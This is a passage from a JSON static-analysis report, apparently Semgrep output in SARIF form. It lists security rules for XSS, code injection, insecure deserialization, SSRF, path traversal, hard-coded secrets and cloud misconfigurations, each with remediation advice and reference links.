instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","id":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","name":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"help":{"markdown":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval)\n - [https://www.php.net/manual/en/function.mb-ereg-replace.php](https://www.php.net/manual/en/function.mb-ereg-replace.php)\n - [https://www.php.net/manual/en/function.mb-regex-set-options.php](https://www.php.net/manual/en/function.mb-regex-set-options.php)\n","text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"helpUri":"https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","id":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","name":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"help":{"markdown":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py)\n","text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","id":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","name":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Google OAuth Access Token detected"},"help":{"markdown":"Google OAuth Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Google OAuth Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","id":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","name":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint","id":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","name":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint.compile-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"help":{"markdown":"Unsafe functions do not perform boundary checks or have other side effects, use with care.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe)\n - [https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get](https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get)\n - [https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string](https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string)\n","text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"helpUri":"https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe","id":"ocaml.lang.security.unsafe.ocamllint-unsafe","name":"ocaml.lang.security.unsafe.ocamllint-unsafe","properties":{"precision":"very-high","tags":["CWE-242: Use of Inherently Dangerous Function (4.12)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.security.unsafe.ocamllint-unsafe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"help":{"markdown":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync","id":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","name":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-sync.keychain-device-sync"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel","id":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","name":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-ruamel.tainted-ruamel"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","id":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","name":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath)\n - [https://kubernetes.io/docs/concepts/storage/volumes/#hostpath](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","id":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","name":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"help":{"markdown":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","id":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","name":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","id":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","name":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the 